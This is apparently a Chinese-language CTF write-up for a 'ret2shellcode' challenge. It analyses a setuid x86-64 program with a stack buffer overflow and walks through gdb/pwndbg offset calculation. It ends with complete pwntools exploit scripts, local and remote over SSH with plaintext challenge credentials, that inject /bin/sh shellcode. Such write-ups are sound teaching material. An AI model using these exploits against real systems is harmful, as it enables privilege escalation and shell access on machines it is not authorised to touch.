ret2shellcode

摘要

闲来无事做几个简单的pwn玩玩: ret2shellcode

题目

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv)
{
// This prevents /bin/sh from dropping the privileges
setreuid(geteuid(), geteuid());

unsigned long int n;
char *endchar;
char buf[64];

if (argc != 2)
{
fprintf(stderr, "Please give a number\n");
return 1;
}

/* Convert the user's number to an integer */
n = strtoumax(argv[1], &endchar, 10);

printf("buffer is at %p\n", buf);

if (read(STDIN_FILENO, buf, n) == 0)
return 1;

return 0;
}

确认系统保护开启状态

文件下载下来,并使用 checksec 查看,可以看到都是关闭状态

1
2
scp pwn025@pwn.baectf.com:/home/pwn025/runme ./runme
checksec runm

检查文件平台为 x86-64

1
2
ubuntu@VM-0-10-ubuntu:~/ctf/stackoverflow/ret2shellcode$ file runme 
runme: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=49c714829f0e52ddd585916e4ec5d462a4ccee4a, not stripped

技术讲解

我们的攻击方法可以简单分成3个部分来解释:

  1. 对程序发送一段超过buffer长度的字串,产生overflow。
  2. 因为overflow部分会继续被写入内存,最终会覆盖到内存中的return address,使其指向我们想要执行的shellcode。
  3. 当程式执行完毕return时,就会被导向错误的内存地址,继续执行我们植入的shellcode。

简单图解:(关于buffer overflow更详细的原理解释,可以参考reference中的前两个连结)

反编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
pwndbg> disassemble main
Dump of assembler code for function main:
0x00000000000011e9 <+0>: endbr64
0x00000000000011ed <+4>: push rbp
0x00000000000011ee <+5>: mov rbp,rsp
0x00000000000011f1 <+8>: push rbx
0x00000000000011f2 <+9>: sub rsp,0x68
0x00000000000011f6 <+13>: mov DWORD PTR [rbp-0x64],edi
0x00000000000011f9 <+16>: mov QWORD PTR [rbp-0x70],rsi
0x00000000000011fd <+20>: call 0x10b0 <geteuid@plt>
0x0000000000001202 <+25>: mov ebx,eax
0x0000000000001204 <+27>: call 0x10b0 <geteuid@plt>
0x0000000000001209 <+32>: mov esi,ebx
0x000000000000120b <+34>: mov edi,eax
0x000000000000120d <+36>: call 0x10d0 <setreuid@plt>
0x0000000000001212 <+41>: cmp DWORD PTR [rbp-0x64],0x2
0x0000000000001216 <+45>: je 0x1242 <main+89>
0x0000000000001218 <+47>: mov rax,QWORD PTR [rip+0x2e01] # 0x4020 <stderr@GLIBC_2.2.5>
0x000000000000121f <+54>: mov rcx,rax
0x0000000000001222 <+57>: mov edx,0x15
0x0000000000001227 <+62>: mov esi,0x1
0x000000000000122c <+67>: lea rax,[rip+0xdd1] # 0x2004
0x0000000000001233 <+74>: mov rdi,rax
0x0000000000001236 <+77>: call 0x10f0 <fwrite@plt>
0x000000000000123b <+82>: mov eax,0x1
0x0000000000001240 <+87>: jmp 0x12a6 <main+189>
0x0000000000001242 <+89>: mov rax,QWORD PTR [rbp-0x70]
0x0000000000001246 <+93>: add rax,0x8
0x000000000000124a <+97>: mov rax,QWORD PTR [rax]
0x000000000000124d <+100>: lea rcx,[rbp-0x20]
0x0000000000001251 <+104>: mov edx,0xa
0x0000000000001256 <+109>: mov rsi,rcx
0x0000000000001259 <+112>: mov rdi,rax
0x000000000000125c <+115>: call 0x10e0 <strtoumax@plt>
0x0000000000001261 <+120>: mov QWORD PTR [rbp-0x18],rax
0x0000000000001265 <+124>: lea rax,[rbp-0x60]
0x0000000000001269 <+128>: mov rsi,rax
0x000000000000126c <+131>: lea rax,[rip+0xda7] # 0x201a
0x0000000000001273 <+138>: mov rdi,rax
0x0000000000001276 <+141>: mov eax,0x0
0x000000000000127b <+146>: call 0x10a0 <printf@plt>
0x0000000000001280 <+151>: mov rdx,QWORD PTR [rbp-0x18]
0x0000000000001284 <+155>: lea rax,[rbp-0x60]
0x0000000000001288 <+159>: mov rsi,rax
0x000000000000128b <+162>: mov edi,0x0
0x0000000000001290 <+167>: call 0x10c0 <read@plt>
0x0000000000001295 <+172>: test rax,rax
0x0000000000001298 <+175>: jne 0x12a1 <main+184>
0x000000000000129a <+177>: mov eax,0x1
0x000000000000129f <+182>: jmp 0x12a6 <main+189>
0x00000000000012a1 <+184>: mov eax,0x0
0x00000000000012a6 <+189>: mov rbx,QWORD PTR [rbp-0x8]
0x00000000000012aa <+193>: leave
0x00000000000012ab <+194>: ret
End of assembler dump.

根据 IDA的反编译我们也可以看到 buf 的地址就是这个位置,将buf地址复制给到 rsi 作为函数的第二个参数,使用快捷键B可以看到相对于 ebp 的地址偏移位 60h

根据函数调用的调用范式,我们知道返回地址大概率存在于 rbp+0x8的位置,也就是 buf 和 retrun 的相对距离为 68h, 但是为了确定我们再动态调试进行计算看看是否如我们所料

我们构造一个超长的payload,让程序崩溃

1
python3 -c 'print("A" * 200)' > payload.txt

使用 gdb 进行调试

1
2
3
gdb
file ret2shellcode
run 200 < payload.txt

可以看到 rsp 此时的地址为:

1
2
rsp:0x7fffffffe2c8
buf:0x7fffffffe260

为什么要这么调试呢,我们知道函数最后是 leave 和 ret , leave 的作用是退栈,也就是还原栈的位置,相当于下面的命令

1
2
mov esp ebp
pop ebp

ret 则是负责 return 到之前存储的返回地址,相当于下面的命令

1
2
pop rax
jmp rax

而这里的 pop 就是把 rsp 指向的地址的内容 pop出来,这个地址内容就是return的目标地址,因此 rsp 的地址就是 return 地址的存储位置,也就是我们要覆盖的地址空间

同理我们下断点进行调试,当断点执行到 ret 指令的时候我们查看 rsp 的值,这样我们也能获得到对应的 return 地址所在的地址空间

1
2
3
b read //在read 函数下断点
run
ni

或者使用 pwntools 的 cyclic 生成字符帮我们计算

1
2
3
4
pwndbg> cyclic 200
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
// 将字符复制到 payload2.txt 中,并开启调试
run 200 < payload2.txt

找到被覆盖的位置,并把覆盖的值输入 cyclic 让他帮我们计算

1
pwndbg> cyclic -l 0x616161616161616e

可以看到计算的结果 104 就等于我们之前算到的 68h,至此,我们可以分析得出,我们的payload的长度为 68h+8h 字节,接下来我们要分析shellcode

shellcode 是一段16进制的代码,可以直接注入内存并被直接执行,简单的shellcode目前有现成的平台供我们搜索:https://shell-storm.org/shellcode/index.html(shell-storm上有非常多针对不同的作业系统和CPU,执行不同功能的shellcode,我们只要在网站上,根据我们的作业系统及CPU指令集选择合适的shellcode来用即可), 或者对于我们只需要执行/bin/sh 我们可以直接使用pwntools 为我们提供的能力

1
2
shellcode = asm(shellcraft.amd64.linux.sh(), arch='amd64')
payload = shellcode.ljust(104, b'A')+p64(0x7fffffffea00)

下面我们看下 shellcode 的长度是不是超过了 104,只有48 是满足要求的

len(asm(shellcraft.amd64.linux.sh(), arch=’amd64’))

48

构造我们的本地调试的 exp.py

我们分析的时候程序的 buf 地址发生了一些变化,但是整体的相对地址是不会变化的,这里我们只需要在脚本里修改一下即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

# 设置连接信息
executable_path = './ret2shellcode' # 可执行文件的路径

# payload 构造
shellcode = asm(shellcraft.amd64.linux.sh(), arch='amd64')
payload = shellcode.ljust(104, b'A')+p64(0x7fffffffe2d0)

target_program = process([executable_path, '200'])

target_program.sendline(payload)

try:
# 设置超时时间为 5 秒
output = target_program.recv(timeout=5) # 接收最多 5 秒的输出
print(output.decode()) # 输出接收到的内容
except Exception as e:
print(f"Error: {e}")

# 如果需要进一步交互,可以使用 interactive() 函数进入交互模式
target_program.interactive()

远程的代码,要使用到 ssh连接,并且 buf 地址也是不一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

# 设置连接信息
target_ip = 'pwn.baectf.com' # 远程主机的 IP 地址
target_port = 22 # 默认的 SSH 端口
username = 'pwn025' # SSH 用户名
password = 'butterscotchtopping' # SSH 密码
executable_path = './runme' # 可执行文件的路径

# payload 构造
shellcode = asm(shellcraft.amd64.linux.sh(), arch='amd64')
payload = shellcode.ljust(104, b'A')+p64(0x7fffffffea40)


# 通过 SSH 连接到远程主机
p = ssh(host=target_ip, user=username, password=password, port=target_port)

# 在远程主机上执行可执行文件,并传递 payload 作为命令行参数
target_program = p.process([executable_path, '200'])

target_program.sendline(payload)

try:
# 设置超时时间为 5 秒
output = target_program.recv(timeout=5) # 接收最多 5 秒的输出
print(output.decode()) # 输出接收到的内容
except Exception as e:
print(f"Error: {e}")

# 如果需要进一步交互,可以使用 interactive() 函数进入交互模式
target_program.interactive()

ret2shellcode
http://k0rz3n.com/2025/03/11/ret2shellcode/
Author
K0rz3n
Posted on
March 11, 2025
Licensed under